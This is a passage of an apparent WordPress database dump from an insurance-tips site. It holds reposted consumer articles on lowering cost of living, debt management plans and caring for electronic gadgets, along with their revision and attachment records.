wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-44\">How to Lower Your Cost of Living</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">If you’ve realized that your cost of living is too high, you have options. One of the most effective ways to lower your cost of living is to move to a place where every dollar stretches further. If you live in a high-cost metro area, you might consider moving farther out of town or even out of state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Of course, moving isn’t always easy or accessible for everyone. Other ways to lower your cost of living include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol id=\"mntl-sc-block_1-0-49\"><!-- wp:list-item -->\n<li><strong>Create and maintain a budget</strong>: Write down much money you have coming in and all the things you have to pay for. Do you have any wiggle room to pay off major debts, like your student loan or car loan, to free up extra cash? Maybe you can cut down on extra spending, like dining out or online shopping.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review your bills</strong>: Some bills are flexible, like insurance and phone bills. Contact your service provider or lender to see if it’s possible to lower your bills. For instance, increasing your deductible on your car and health insurance can lower your premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Stop borrowing money</strong>:<strong> </strong>If you carry a balance on your credit card every month, you’re paying double-digit interest rates. Avoid interest by paying off your balance in full every month by your due date. Not borrowing money also means using cash whenever possible and skipping financing when you buy a car—essentially forcing yourself to stick to your budget.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Instead of lowering your cost of living, you could try to increase your income. Consider asking your boss for a raise, applying for a promotion, or starting a side hustle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/when-is-your-cost-of-living-too-high-5116186\">click here.</a></p>\n<!-- /wp:paragraph -->','When Is Your Cost of Living Too High?','','inherit','closed','closed','','3890-revision-v1','','','2024-03-26 23:00:17','2024-03-26 23:00:17','',3890,'https://smartinsurance.tips/?p=3892',0,'revision','',0),(3893,1,'2024-03-26 23:05:20','2024-03-26 23:05:20','<!-- wp:paragraph -->\n<p>A debt management plan groups several credit card debts into one payment, cuts your interest rate and creates a 3- to 5-year repayment plan.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3894,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-9-1024x1024.png\" alt=\"\" class=\"wp-image-3894\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you\'re having trouble paying your credit card bills every month, a debt management plan from a nonprofit credit counseling agency might be the help you need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plan lumps your various credit card payments into a single payment, can cut your interest rates in half, and gives you a structured path to pay off the debt over three to five years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because you repay your original debt, a debt plan management has much less effect on your credit score than debt settlement or bankruptcy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How a debt management plan works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Where to go:</strong> Debt management plans are offered by credit counseling agencies. If you’re thinking of going this route, look for an agency that’s a nonprofit and accredited by the National Foundation for Credit Counseling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Expect a credit counselor to go over your financial situation thoroughly and to discuss several options, not just a debt management plan. Don’t feel pressured to sign up the same day any program is offered. Take time to think about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What\'s covered:</strong> Unsecured debts, such as credit cards and personal loans. Secured debts — such as those for houses and cars — aren\'t covered. Nor are student loans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What the agency does:</strong> The counselor will contact each creditor to notify it of the debt management plan and make itself the payer on your account. The counselor may seek concessions from each creditor, which can include lower interest rates, lower monthly payments or “re-aging” an account to stop late fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each month, your payment will go electronically to the counseling agency, which then pays your creditors. You get a progress report each month.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’ll likely pay an enrollment fee as well as a monthly fee for each credit account in the plan. (Even with those, your overall monthly payment should be lower.) The fees can vary depending on state regulations, but agencies charge $20 to $30 on average.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What to expect while on the plan:</strong> Be prepared to live without credit cards for as long as you’re in the program. Most credit card issuers will require that an account entering a debt management plan be closed. You may be allowed to keep a card for emergencies or business, though; ask before you sign up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, avoid any new credit obligations for the duration of the plan. Your creditors will see any new obligations on your credit report, and they may withdraw their concessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should strive to make the payments on time, every time. Creditors have given you some major concessions, and they tend to insist on you meeting their terms. One missed payment and they may be done with waiving fees and charging less interest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When debt management plans work best</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re struggling with revolving debt, the upsides are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A single, lower payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>No more (or at least fewer) phone calls from creditors or collectors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The ability to finally put debt behind you.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>It’s probably not right for you if:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>You are having trouble paying secured debts, such as a mortgage or car payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your income barely covers necessities, such as food and utilities.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You want to continue to use your credit cards.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Having to live without credit cards or new credit might be an advantage if you worry about controlling spending.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because you have to commit to many months of payments, you’ll want to make sure there is room in your budget to do so. Over the years you’re paying the plan, unexpected expenses will crop up, so access to some kind of emergency fund is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s even possible that financial coaching, by itself, is all you need to catch up. If you decide a debt management plan is right for you, it’s smart to get help with budgeting and money management to prevent you from falling behind again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is debt management the right option for you?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A debt management plan is only one debt relief option when debt seems overwhelming, and it might not be the right one for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your credit score might initially drop, as accounts are closed and you have less available credit. Enrollment in a debt management plan will be noted on your credit report, but it is supposed to be treated as neutral in credit scoring. Long term, as you get a handle on your finances, your credit score is likely to climb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data is sparse, but what is available suggests at least half of clients don\'t successfully complete the plans. We suggest asking if your counseling agency will share its completion rate data with you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can use these agency reviews to get a good feel before you make the call:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>American Consumer Credit Counseling</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cambridge Credit Counseling</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer Education Services Inc.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>GreenPath Financial Wellness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Money Management International</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/finance/how-does-debt-management-work?trk_channel=web&amp;trk_copy=What%20Is%20a%20Debt%20Management%20Plan%3F&amp;trk_element=hyperlink&amp;trk_elementPosition=2&amp;trk_location=PostList&amp;trk_subLocation=image-list\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is a Debt Management Plan?','','publish','closed','closed','','what-is-a-debt-management-plan','','','2024-03-26 23:05:21','2024-03-26 23:05:21','',0,'https://smartinsurance.tips/?p=3893',0,'post','',0),(3894,1,'2024-03-26 23:03:18','2024-03-26 23:03:18','','Untitled-9','','inherit','closed','closed','','untitled-9-2','','','2024-03-26 23:03:18','2024-03-26 23:03:18','',3893,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-9.png',0,'attachment','image/png',0),(3895,1,'2024-03-26 23:05:20','2024-03-26 23:05:20','<!-- wp:paragraph -->\n<p>A debt management plan groups several credit card debts into one payment, cuts your interest rate and creates a 3- to 5-year repayment plan.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3894,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-9-1024x1024.png\" alt=\"\" class=\"wp-image-3894\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you\'re having trouble paying your credit card bills every month, a debt management plan from a nonprofit credit counseling agency might be the help you need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plan lumps your various credit card payments into a single payment, can cut your interest rates in half, and gives you a structured path to pay off the debt over three to five years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because you repay your original debt, a debt plan management has much less effect on your credit score than debt settlement or bankruptcy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How a debt management plan works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Where to go:</strong> Debt management plans are offered by credit counseling agencies. If you’re thinking of going this route, look for an agency that’s a nonprofit and accredited by the National Foundation for Credit Counseling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Expect a credit counselor to go over your financial situation thoroughly and to discuss several options, not just a debt management plan. Don’t feel pressured to sign up the same day any program is offered. Take time to think about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What\'s covered:</strong> Unsecured debts, such as credit cards and personal loans. Secured debts — such as those for houses and cars — aren\'t covered. Nor are student loans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What the agency does:</strong> The counselor will contact each creditor to notify it of the debt management plan and make itself the payer on your account. The counselor may seek concessions from each creditor, which can include lower interest rates, lower monthly payments or “re-aging” an account to stop late fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each month, your payment will go electronically to the counseling agency, which then pays your creditors. You get a progress report each month.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’ll likely pay an enrollment fee as well as a monthly fee for each credit account in the plan. (Even with those, your overall monthly payment should be lower.) The fees can vary depending on state regulations, but agencies charge $20 to $30 on average.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What to expect while on the plan:</strong> Be prepared to live without credit cards for as long as you’re in the program. Most credit card issuers will require that an account entering a debt management plan be closed. You may be allowed to keep a card for emergencies or business, though; ask before you sign up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, avoid any new credit obligations for the duration of the plan. Your creditors will see any new obligations on your credit report, and they may withdraw their concessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should strive to make the payments on time, every time. Creditors have given you some major concessions, and they tend to insist on you meeting their terms. One missed payment and they may be done with waiving fees and charging less interest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When debt management plans work best</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re struggling with revolving debt, the upsides are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A single, lower payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>No more (or at least fewer) phone calls from creditors or collectors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The ability to finally put debt behind you.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>It’s probably not right for you if:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>You are having trouble paying secured debts, such as a mortgage or car payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your income barely covers necessities, such as food and utilities.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You want to continue to use your credit cards.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Having to live without credit cards or new credit might be an advantage if you worry about controlling spending.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because you have to commit to many months of payments, you’ll want to make sure there is room in your budget to do so. Over the years you’re paying the plan, unexpected expenses will crop up, so access to some kind of emergency fund is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s even possible that financial coaching, by itself, is all you need to catch up. If you decide a debt management plan is right for you, it’s smart to get help with budgeting and money management to prevent you from falling behind again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is debt management the right option for you?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A debt management plan is only one debt relief option when debt seems overwhelming, and it might not be the right one for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your credit score might initially drop, as accounts are closed and you have less available credit. Enrollment in a debt management plan will be noted on your credit report, but it is supposed to be treated as neutral in credit scoring. Long term, as you get a handle on your finances, your credit score is likely to climb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data is sparse, but what is available suggests at least half of clients don\'t successfully complete the plans. We suggest asking if your counseling agency will share its completion rate data with you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can use these agency reviews to get a good feel before you make the call:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>American Consumer Credit Counseling</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cambridge Credit Counseling</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer Education Services Inc.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>GreenPath Financial Wellness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Money Management International</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/finance/how-does-debt-management-work?trk_channel=web&amp;trk_copy=What%20Is%20a%20Debt%20Management%20Plan%3F&amp;trk_element=hyperlink&amp;trk_elementPosition=2&amp;trk_location=PostList&amp;trk_subLocation=image-list\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is a Debt Management Plan?','','inherit','closed','closed','','3893-revision-v1','','','2024-03-26 23:05:20','2024-03-26 23:05:20','',3893,'https://smartinsurance.tips/?p=3895',0,'revision','',0),(3896,1,'2024-03-26 23:07:29','2024-03-26 23:07:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3897,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-3897\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Gadgets are our ultimate source of utility. They make things easier to use and somehow entertain us when we’re bored. They do lots of things for us, though just like any technological device, they are prone to malfunctions. With that, though, we figured to list down five easy-to-follow tips in taking care of your gadgets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Cleaning is a Top Priority</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You should always keep your gadgets neat and tidy, whether they’re tablets, notebooks, smartphones, or cameras, they still need to be cleaned regularly to function to their fullest. Always schedule a specific day of the week for the purpose of cleaning your gadgets, to avoid any serious problems later on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Sunlight is a no-no</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sunlight or heat for that matter often overheats devices, which could result in the device malfunctioning. Always learn to keep your devices out of heating points, to prevent any vital damage to be inflicted on the phone. It’s best to keep your devices in a cosy pouch or bag whenever you’re going out in the heat of the day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Protective Casings are a Good Option</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Always buy protective casings for your devices, they often time include these casings upon purchase, but if they’re not included, it’s best to get one immediately. It can’t help in sudden drops and impacts inflicted on the device and prevent the damage to go all-out. Remember, don’t be cheap when it comes to protecting your devices, and make sure they’re fully equipped for emergency scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Bring Your Devices to an Authorized Centre</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you’ve experienced problems with your gadgets, it’s best to always deliver them to the designated and accredited centres. Never just go to a more convenient fixing place, they might not know what they’re doing and could likely worsen your device’s condition. Be wise when you’re looking for places to get your device fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Charge Your Device Immediately</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s best to charge up your phone before the device drains out of battery. It’s actually proven that draining out the battery on the first battery low of the device is a good thing, but lately, it’s just okay to maintain a proper charging schedule. Don’t be too eager or less eager to charge your phone. Remember that gadget batteries are really sensitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Don’t Overdo Your Device</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s normal for smartphone users to go all out on their phones, especially in regards to multi-tasking, however, it’s best to give your phone a break, since just like people, they have their limits and frequently expose your devices to frequent multi-tasking might result to a downgrade in performance. Make sure to keep it easy and only go all out once or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Why Do We Have to Care for Our Gadgets and Equipment?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taking care of our gadgets and equipment is crucial for several reasons:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Our gadgets are valuable investments, and proper care ensures we can use them for longer, maximizing their value.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regular maintenance and cleaning help prevent malfunctions and extend the lifespan of our devices. Well-maintained gadgets perform better, allowing us to enjoy optimal functionality and performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Caring for our gadgets also helps preserve their resale value, making them more desirable to potential buyers if we upgrade or sell them.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Can I Make My Electronics Last Longer?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Optimal usage and power management: Avoid running your electronics at maximum performance levels for extended periods. Opt for balanced settings and avoid excessive multitasking to prevent strain on the components. Additionally, manage power effectively by avoiding frequent full discharges and charging your devices using reputable chargers and cables.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adequate ventilation and cooling: Ensure proper airflow around your electronics by keeping vents and fans clean and unobstructed. Consider using cooling pads for laptops and providing sufficient space for devices to dissipate heat effectively, reducing the risk of overheating and component failure.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Safe storage and transportation: When not used, store your electronics in protective cases or covers to shield them from dust, moisture, and physical damage. Use padded bags or sleeves to prevent impacts or accidental drops during transportation.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Do You Keep Electronics in Good Condition?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Software updates and maintenance: Regularly update your device’s operating system and applications to ensure you have the latest bug fixes, security patches, and performance improvements. Additionally, perform routine maintenance tasks such as disk cleanup, defragmentation, and antivirus scans to keep your system running smoothly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Safe handling and cleaning: Handle your electronics with clean hands and avoid touching sensitive components. Use microfiber cloths or appropriate cleaning solutions to wipe screens and surfaces gently. Be cautious with liquid cleaners; never spray them directly onto the device.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Environmental considerations: Keep your electronics away from extreme temperatures, high humidity, and direct sunlight. Store them in dry, cool areas to prevent moisture damage or overheating. Additionally, avoid exposing devices to magnetic fields or strong electromagnetic interference, as they can interfere with proper functioning.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Remember, by adopting these practices, you can maximize the lifespan and performance of your electronics, ensuring they serve you well for an extended period.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://fixmygadget.com/6-easy-tips-in-taking-care-of-your-gadgets-how-to-keep-them-running-for-a-long-time/\">click here.</a></p>\n<!-- /wp:paragraph -->','6 Easy Tips in Taking Care of Your Gadgets – How To Keep Them Running For a Long Time','','publish','closed','closed','','6-easy-tips-in-taking-care-of-your-gadgets-how-to-keep-them-running-for-a-long-time','','','2024-03-26 23:07:31','2024-03-26 23:07:31','',0,'https://smartinsurance.tips/?p=3896',0,'post','',0),(3897,1,'2024-03-26 23:06:35','2024-03-26 23:06:35','','Untitled-10','','inherit','closed','closed','','untitled-10-2','','','2024-03-26 23:06:35','2024-03-26 23:06:35','',3896,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-10.png',0,'attachment','image/png',0),(3898,1,'2024-03-26 23:07:29','2024-03-26 23:07:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3897,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-3897\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Gadgets are our ultimate source of utility. They make things easier to use and somehow entertain us when we’re bored. They do lots of things for us, though just like any technological device, they are prone to malfunctions. With that, though, we figured to list down five easy-to-follow tips in taking care of your gadgets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Cleaning is a Top Priority</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You should always keep your gadgets neat and tidy, whether they’re tablets, notebooks, smartphones, or cameras, they still need to be cleaned regularly to function to their fullest. Always schedule a specific day of the week for the purpose of cleaning your gadgets, to avoid any serious problems later on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Sunlight is a no-no</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sunlight or heat for that matter often overheats devices, which could result in the device malfunctioning. Always learn to keep your devices out of heating points, to prevent any vital damage to be inflicted on the phone. It’s best to keep your devices in a cosy pouch or bag whenever you’re going out in the heat of the day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Protective Casings are a Good Option</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Always buy protective casings for your devices, they often time include these casings upon purchase, but if they’re not included, it’s best to get one immediately. It can’t help in sudden drops and impacts inflicted on the device and prevent the damage to go all-out. Remember, don’t be cheap when it comes to protecting your devices, and make sure they’re fully equipped for emergency scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Bring Your Devices to an Authorized Centre</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you’ve experienced problems with your gadgets, it’s best to always deliver them to the designated and accredited centres. Never just go to a more convenient fixing place, they might not know what they’re doing and could likely worsen your device’s condition. Be wise when you’re looking for places to get your device fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Charge Your Device Immediately</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s best to charge up your phone before the device drains out of battery. It’s actually proven that draining out the battery on the first battery low of the device is a good thing, but lately, it’s just okay to maintain a proper charging schedule. Don’t be too eager or less eager to charge your phone. Remember that gadget batteries are really sensitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Don’t Overdo Your Device</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s normal for smartphone users to go all out on their phones, especially in regards to multi-tasking, however, it’s best to give your phone a break, since just like people, they have their limits and frequently expose your devices to frequent multi-tasking might result to a downgrade in performance. Make sure to keep it easy and only go all out once or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Why Do We Have to Care for Our Gadgets and Equipment?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taking care of our gadgets and equipment is crucial for several reasons:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Our gadgets are valuable investments, and proper care ensures we can use them for longer, maximizing their value.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regular maintenance and cleaning help prevent malfunctions and extend the lifespan of our devices. Well-maintained gadgets perform better, allowing us to enjoy optimal functionality and performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Caring for our gadgets also helps preserve their resale value, making them more desirable to potential buyers if we upgrade or sell them.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Can I Make My Electronics Last Longer?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Optimal usage and power management: Avoid running your electronics at maximum performance levels for extended periods. Opt for balanced settings and avoid excessive multitasking to prevent strain on the components. Additionally, manage power effectively by avoiding frequent full discharges and charging your devices using reputable chargers and cables.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adequate ventilation and cooling: Ensure proper airflow around your electronics by keeping vents and fans clean and unobstructed. Consider using cooling pads for laptops and providing sufficient space for devices to dissipate heat effectively, reducing the risk of overheating and component failure.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Safe storage and transportation: When not used, store your electronics in protective cases or covers to shield them from dust, moisture, and physical damage. Use padded bags or sleeves to prevent impacts or accidental drops during transportation.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- 